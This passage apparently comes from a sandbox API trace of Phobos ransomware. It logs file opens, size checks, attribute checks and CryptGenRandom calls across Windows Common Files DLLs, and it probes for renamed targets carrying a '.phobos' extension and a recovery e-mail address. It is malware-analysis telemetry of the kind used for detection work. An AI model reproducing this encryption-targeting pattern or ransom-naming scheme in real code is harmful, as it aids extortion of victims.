(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files\\common files\\system\\directdb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.018] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.021] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10240) returned 1 [0150.021] CloseHandle (hObject=0x580) returned 1 [0150.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui")) returned 0x20 [0150.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.022] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.023] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=7680) returned 1 [0150.024] CloseHandle (hObject=0x580) returned 1 [0150.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui")) returned 0x20 [0150.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.026] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.028] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2560) returned 1 [0150.028] CloseHandle (hObject=0x580) returned 1 [0150.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0150.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.032] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.033] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=242688) returned 1 [0150.033] CloseHandle (hObject=0x580) returned 1 [0150.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0150.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.033] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.034] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2560) returned 1 [0150.034] CloseHandle (hObject=0x580) returned 1 [0150.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0150.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.035] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.035] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2560) returned 1 [0150.035] CloseHandle (hObject=0x580) returned 1 [0150.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0150.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.039] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=356352) returned 1 [0150.039] CloseHandle (hObject=0x580) returned 1 [0150.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0150.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.039] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.041] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=221696) returned 1 [0150.041] CloseHandle (hObject=0x580) returned 1 [0150.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0150.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.041] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.042] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=2560) returned 1 [0150.042] CloseHandle (hObject=0x580) returned 1 [0150.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0150.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.043] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.044] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6144) returned 1 [0150.045] CloseHandle (hObject=0x580) returned 1 [0150.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0150.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.045] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.048] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=48128) returned 1 [0150.048] CloseHandle (hObject=0x580) returned 1 [0150.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0150.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.050] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.051] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=99840) returned 1 [0150.051] CloseHandle (hObject=0x580) returned 1 [0150.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0150.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.052] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.052] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=376320) returned 1 [0150.052] CloseHandle (hObject=0x580) returned 1 [0150.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0150.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.052] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.054] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=698368) returned 1 [0150.054] CloseHandle (hObject=0x580) returned 1 [0150.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0150.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.055] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.055] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=54784) returned 1 [0150.056] CloseHandle (hObject=0x580) returned 1 [0150.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0150.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.056] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0150.056] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=117248) returned 1 [0150.056] CloseHandle (hObject=0x580) returned 1 [0150.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0150.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.057] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.165] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=16384) returned 1 [0150.166] CloseHandle (hObject=0x564) returned 1 [0150.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0150.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.166] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0150.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.169] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=77824) returned 1 [0150.169] CloseHandle (hObject=0x564) returned 1 [0150.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0150.169] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.169] CreateFileW 